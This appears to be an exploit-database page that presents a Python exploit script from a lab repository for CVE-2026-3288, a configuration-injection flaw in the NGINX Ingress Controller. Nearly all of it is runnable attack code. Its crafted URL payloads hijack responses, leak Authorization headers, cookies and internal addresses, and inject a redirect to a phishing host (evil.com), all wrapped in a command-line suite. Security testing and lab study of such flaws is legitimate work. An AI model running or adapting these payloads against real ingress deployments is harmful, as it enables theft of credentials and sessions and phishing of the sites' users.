Exploit databaseDownload repository ZIP
GH-e7a8b02c7aba79d6b48bc941f3e3885a
bvabhishek/cve-2026-3288-lab
Sources for CVE-2026-3288
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
bvabhishek/cve-2026-3288-labRevision fb8d35729e80
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploits/exploit.py
Suggested starting filePython · 8,746 bytes#!/usr/bin/env python3
"""
CVE-2026-3288 Exploitation Script
NGINX Ingress Controller Configuration Injection
WARNING: For authorized security testing only!
"""
import requests
import argparse
import sys
from urllib.parse import quote
class CVE20263288Exploit:
def __init__(self, target):
self.target = target.rstrip('/')
self.session = requests.Session()
def test_connection(self):
"""Test if target is reachable"""
try:
response = self.session.get(f"{self.target}/health", timeout=5)
print(f"[+] Target is reachable: {self.target}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Cannot reach target: {e}")
return False
def exploit_response_hijack(self):
"""Scenario 1: Hijack responses with attacker content"""
print("\n[*] Testing Response Hijacking...")
payload = '/api" return 200 "HACKED BY ATTACKER - CVE-2026-3288'
url = f"{self.target}{payload}"
try:
response = self.session.get(url, timeout=5)
if "HACKED" in response.text:
print(f"[+] VULNERABLE! Response hijacked successfully")
print(f" Response: {response.text[:100]}")
return True
else:
print(f"[-] Exploit failed or not vulnerable")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_credential_theft(self):
"""Scenario 2: Steal Authorization headers"""
print("\n[*] Testing Credential Theft...")
payload = '/login" return 200 "Stolen Token: $http_authorization'
url = f"{self.target}{payload}"
headers = {
'Authorization': 'Bearer secret_token_12345'
}
try:
response = self.session.get(url, headers=headers, timeout=5)
if "secret_token" in response.text or "Bearer" in response.text:
print(f"[+] VULNERABLE! Authorization header leaked")
print(f" Response: {response.text[:150]}")
return True
else:
print(f"[-] Exploit failed or not vulnerable")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_phishing_redirect(self):
"""Scenario 3: Redirect to phishing site"""
print("\n[*] Testing Phishing Redirect...")
payload = '/" return 302 "https://evil.com/phishing'
url = f"{self.target}{payload}"
try:
response = self.session.get(url, allow_redirects=False, timeout=5)
if response.status_code == 302:
location = response.headers.get('Location', '')
if 'evil.com' in location:
print(f"[+] VULNERABLE! Redirect injection successful")
print(f" Redirects to: {location}")
return True
print(f"[-] Exploit failed or not vulnerable")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_internal_ip_leak(self):
"""Scenario 4: Leak internal server information"""
print("\n[*] Testing Internal IP Disclosure...")
payload = '/" return 200 "Internal IP: $server_addr | Port: $server_port'
url = f"{self.target}{payload}"
try:
response = self.session.get(url, timeout=5)
if "Internal IP:" in response.text:
print(f"[+] VULNERABLE! Internal information leaked")
print(f" Response: {response.text[:150]}")
return True
else:
print(f"[-] Exploit failed or not vulnerable")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_cookie_theft(self):
"""Scenario 5: Steal session cookies"""
print("\n[*] Testing Cookie Theft...")
payload = '/" return 200 "Stolen Cookies: $http_cookie'
url = f"{self.target}{payload}"
cookies = {
'session': 'abc123xyz',
'user_id': '42'
}
try:
response = self.session.get(url, cookies=cookies, timeout=5)
if "session" in response.text or "abc123" in response.text:
print(f"[+] VULNERABLE! Cookies leaked")
print(f" Response: {response.text[:150]}")
return True
else:
print(f"[-] Exploit failed or not vulnerable")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def exploit_user_agent_reflection(self):
"""Scenario 6: Reflect User-Agent header"""
print("\n[*] Testing User-Agent Reflection...")
payload = '/" return 200 "User-Agent: $http_user_agent'
url = f"{self.target}{payload}"
headers = {
'User-Agent': 'SecretBrowser/1.0 (Sensitive Info)'
}
try:
response = self.session.get(url, headers=headers, timeout=5)
if "SecretBrowser" in response.text:
print(f"[+] VULNERABLE! User-Agent reflected")
print(f" Response: {response.text[:150]}")
return True
else:
print(f"[-] Exploit failed or not vulnerable")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def run_all_exploits(self):
"""Run all exploitation scenarios"""
print("="*60)
print("CVE-2026-3288 Exploitation Suite")
print("NGINX Configuration Injection")
print("="*60)
if not self.test_connection():
print("\n[-] Target unreachable. Exiting.")
return False
results = {
'Response Hijacking': self.exploit_response_hijack(),
'Credential Theft': self.exploit_credential_theft(),
'Phishing Redirect': self.exploit_phishing_redirect(),
'Internal IP Leak': self.exploit_internal_ip_leak(),
'Cookie Theft': self.exploit_cookie_theft(),
'User-Agent Reflection': self.exploit_user_agent_reflection()
}
print("\n" + "="*60)
print("Exploitation Summary")
print("="*60)
vulnerable_count = sum(1 for v in results.values() if v)
for test, result in results.items():
status = "✓ VULNERABLE" if result else "✗ Not Vulnerable"
print(f"{test:.<40} {status}")
print("="*60)
print(f"Total Vulnerabilities Found: {vulnerable_count}/{len(results)}")
print("="*60)
return vulnerable_count > 0
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-3288 Exploitation Tool',
epilog='WARNING: For authorized security testing only!'
)
parser.add_argument(
'--target',
default='http://localhost',
help='Target URL (default: http://localhost)'
)
parser.add_argument(
'--all',
action='store_true',
help='Run all exploitation scenarios'
)
parser.add_argument(
'--hijack',
action='store_true',
help='Test response hijacking'
)
parser.add_argument(
'--creds',
action='store_true',
help='Test credential theft'
)
parser.add_argument(
'--redirect',
action='store_true',
help='Test phishing redirect'
)
parser.add_argument(
'--leak',
action='store_true',
help='Test internal IP leak'
)
parser.add_argument(
'--cookies',
action='store_true',
help='Test cookie theft'
)
args = parser.parse_args()
exploit = CVE20263288Exploit(args.target)
if args.all:
exploit.run_all_exploits()
elif args.hijack:
exploit.exploit_response_hijack()
elif args.creds:
exploit.exploit_credential_theft()
elif args.redirect:
exploit.exploit_phishing_redirect()
elif args.leak:
exploit.exploit_internal_ip_leak()
elif args.cookies:
exploit.exploit_cookie_theft()
else:
# Default: run all
exploit.run_all_exploits()
if __name__ == '__main__':
main()
# Made with Bob